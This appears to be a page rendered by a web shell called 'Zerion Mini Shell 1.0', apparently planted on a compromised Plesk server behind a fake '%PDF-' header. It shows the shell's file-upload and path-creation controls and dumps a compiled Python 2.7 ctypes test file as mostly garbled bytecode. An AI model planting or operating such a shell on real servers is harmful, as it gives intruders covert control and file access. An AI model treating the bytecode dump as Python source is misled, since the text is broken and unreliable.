%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyo

�
5}�ac@szddlTddlZddlZddlZdefd��YZdejfd��YZedkrvej	�ndS(i����(t*NtXcBs&eZdefgZeZd�ZRS(tc_intcCs
t|_dS(N(tTruet_init_called(tself((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyt__init__	s(t__name__t
__module__Rt_fields_tFalsetinit_calledR(((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyRstTestcBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs,tjdtd��}tdj|�}tj|�}|j|j|d�|j|j�|j||j��d\|d<|d<|j||j��|j	||j
j��|jt
tj|d�|}~tj�tj�tj�|j||�|jttdjd	�dS(
Ntiiii�i8���i����ta(i�i8���taaaaaaaaaaaaaaaa(tarraytrangeRtfrom_bufferRtassertEqualtassertFalseRttolisttassertInt_objectstvaluestassertRaisest
ValueErrortgctcollectt	TypeErrortc_char(RRtxtytexpected((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyttest_fom_buffer
s&	


	cs�tjdtd���tdj�tt��}|j|�j�d�|jt�fd��|jt�fd��dS(NR
iiicstdj�tt��S(Ni(RRtsizeof((R(sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyt<lambda>+tcstdj�dtt��S(Nii(RRR#((R(sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyR$,R%(	RRRRR#RRRR(RR((RsD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyttest_fom_buffer_with_offset&s
cCs/tjdtd��}tdj|�}tj|�}|j|j|d�|j|j�|j|td��d\|d<|d<|j|td��|j|jd�|j
ttj|d�~t
j�t
j�t
j�|j|td��tdjd	�}|j|d
�dS(NR
iii�i8���i����R(i�i8���RR(RRRtfrom_buffer_copyRRRRRtNoneRRRRRR(RRRR ((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyttest_from_buffer_copy.s$	


cCs�tjdtd��}tdj|tt��}|j||j�d�|jttdj|tt��|jttdj|dtt��dS(NR
iii(	RRRR'R#RRRR(RRR((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyt test_fom_buffer_copy_with_offsetFs		cCsLddlm}m}m}|jttjtd��|jtt	jtd��|jtt
jtd��|jt|jtd��|jt|jtd��|jt|jtd��|jttjd�|jtt	jd�|jtt
jd�|jt|jd�|jt|jd�|jt|jd�dS(Ni����(t_Pointert_SimpleCDatat	_CFuncPtri
t123(tctypesR+R,R-RRtArrayRt	bytearrayt	StructuretUnionR'(RR+R,R-((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyt
test_abstractPs(RRR"R&R)R*R4(((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyRs
				
t__main__(
R/RRtunittestR2RtTestCaseRRtmain(((sD/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_frombuffer.pyt<module>s
U

Zerion Mini Shell 1.0